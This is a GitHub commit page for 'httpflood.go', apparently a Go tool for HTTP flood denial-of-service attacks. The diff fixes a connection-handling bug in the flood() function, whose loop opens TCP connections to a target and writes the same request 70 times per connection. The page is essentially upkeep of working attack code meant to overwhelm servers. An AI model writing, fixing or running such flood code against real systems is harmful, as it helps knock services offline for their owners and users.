Skip to content

Commit 682a343

Browse files
authored
Fixed connection error
1 parent 16cd800 commit 682a343

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

httpflood.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -205,10 +205,10 @@ func flood() {
205205
} else {
206206
s, err = net.Dial("tcp", addr)
207207
}
208-
defer s.Close()
209208
if err != nil {
210209
fmt.Println("Connection Down!!!")
211210
} else {
211+
defer s.Close()
212212
for i := 1; i <= 70; i++ {
213213
s.Write([]byte(request))
214214
time.Sleep(time.Millisecond * 100)

0 commit comments

Comments
 (0)